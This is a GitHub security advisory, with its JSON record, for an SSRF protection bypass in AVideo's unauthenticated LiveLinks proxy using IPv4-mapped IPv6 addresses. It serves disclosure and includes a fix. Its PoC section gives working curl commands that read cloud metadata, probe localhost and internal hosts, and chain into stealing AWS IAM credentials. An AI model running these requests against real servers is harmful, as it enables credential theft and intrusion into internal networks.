GHSA-P3GR-G84W-G8HH

Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-25 18:49
VLAI
Summary
AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy
Details

Summary

The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.

Details

The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:

  1. IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (/^10\./, /^172\./, /^192\.168\./, /^127\./, /^169\.254\./)
  2. IPv6 checks (lines 4150-4166): Checks for ::1, fe80::/10 (link-local), and fc00::/7 (unique local)

The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:

// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"

// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
    $resolvedIP = gethostbyname($host);  // SKIPPED
}
$ip = $host;  // $ip = "::ffff:169.254.169.254"

// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip))  // NO MATCH

// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...)                    // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip))  // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip))  // NO MATCH

// Line 4168: returns TRUE — bypass complete
return true;

The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:

// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;

After the bypass, two requests are made to the attacker-controlled URL: 1. get_headers() at line 40 (via stream context) 2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)

PoC

Read AWS instance metadata (IAM credentials):

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'

Access localhost services:

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'

Scan internal network:

curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'

Steal AWS IAM role credentials (full chain):

# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')

# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"

Impact

  • Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.
  • Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.
  • Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).
  • No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.

Recommended Fix

Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:

// In isSSRFSafeURL(), replace lines 4099-4166 with:

// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    _error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
    return false;
}

This single check replaces all the manual regex patterns and correctly handles: - All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16) - Loopback (127/8, ::1) - Link-local (169.254/16, fe80::/10) - Unique local (fc00::/7) - IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding - Other reserved ranges (0/8, 100.64/10 CGN, etc.)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:44:10Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.\n\n## Details\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:\n\n1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\\./`, `/^172\\./`, `/^192\\.168\\./`, `/^127\\./`, `/^169\\.254\\./`)\n2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)\n\nThe gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:\n\n```\n// Line 4038: parse_url strips brackets from IPv6 host\n$host = parse_url($url, PHP_URL_HOST);\n// $host = \"::ffff:169.254.169.254\"\n\n// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution\nif (!filter_var($host, FILTER_VALIDATE_IP)) {\n    $resolvedIP = gethostbyname($host);  // SKIPPED\n}\n$ip = $host;  // $ip = \"::ffff:169.254.169.254\"\n\n// Lines 4101-4134: IPv4 regex checks DON\u0027T match (not dotted-decimal)\nif (preg_match(\u0027/^169\\.254\\.\\d{1,3}\\.\\d{1,3}$/\u0027, $ip))  // NO MATCH\n\n// Lines 4150-4166: IPv6 checks don\u0027t cover ::ffff: prefix\nif ($ip === \u0027::1\u0027 || ...)                    // NO MATCH\nif (preg_match(\u0027/^fe[89ab][0-9a-f]:/i\u0027, $ip))  // NO MATCH\nif (preg_match(\u0027/^f[cd][0-9a-f]{2}:/i\u0027, $ip))  // NO MATCH\n\n// Line 4168: returns TRUE \u2014 bypass complete\nreturn true;\n```\n\nThe vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:\n\n```php\n// proxy.php lines 2-3\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\n```\n\nAfter the bypass, two requests are made to the attacker-controlled URL:\n1. `get_headers()` at line 40 (via stream context)\n2. `fakeBrowser()` at line 63 (via curl) \u2014 response content is echoed back to the attacker (lines 69-80)\n\n## PoC\n\n**Read AWS instance metadata (IAM credentials):**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/\u0027\n```\n\n**Access localhost services:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/\u0027\n```\n\n**Scan internal network:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/\u0027\n```\n\n**Steal AWS IAM role credentials (full chain):**\n\n```bash\n# Step 1: Get IAM role name\nROLE=$(curl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u0027)\n\n# Step 2: Get temporary credentials for the role\ncurl -s \"https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}\"\n```\n\n## Impact\n\n- **Cloud credential theft**: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.\n- **Internal network access**: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.\n- **Localhost service access**: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).\n- **No authentication required**: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.\n\n## Recommended Fix\n\nReplace the manual IPv4/IPv6 blocklist approach with PHP\u0027s built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:\n\n```php\n// In isSSRFSafeURL(), replace lines 4099-4166 with:\n\n// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)\nif (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    _error_log(\"isSSRFSafeURL: blocked private/reserved IP: {$ip}\");\n    return false;\n}\n```\n\nThis single check replaces all the manual regex patterns and correctly handles:\n- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)\n- Loopback (127/8, ::1)\n- Link-local (169.254/16, fe80::/10)\n- Unique local (fc00::/7)\n- **IPv4-mapped IPv6 (`::ffff:0:0/96`)** \u2014 the bypass vector in this finding\n- Other reserved ranges (0/8, 100.64/10 CGN, etc.)",
  "id": "GHSA-p3gr-g84w-g8hh",
  "modified": "2026-03-25T18:49:36Z",
  "published": "2026-03-20T20:44:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy"
}


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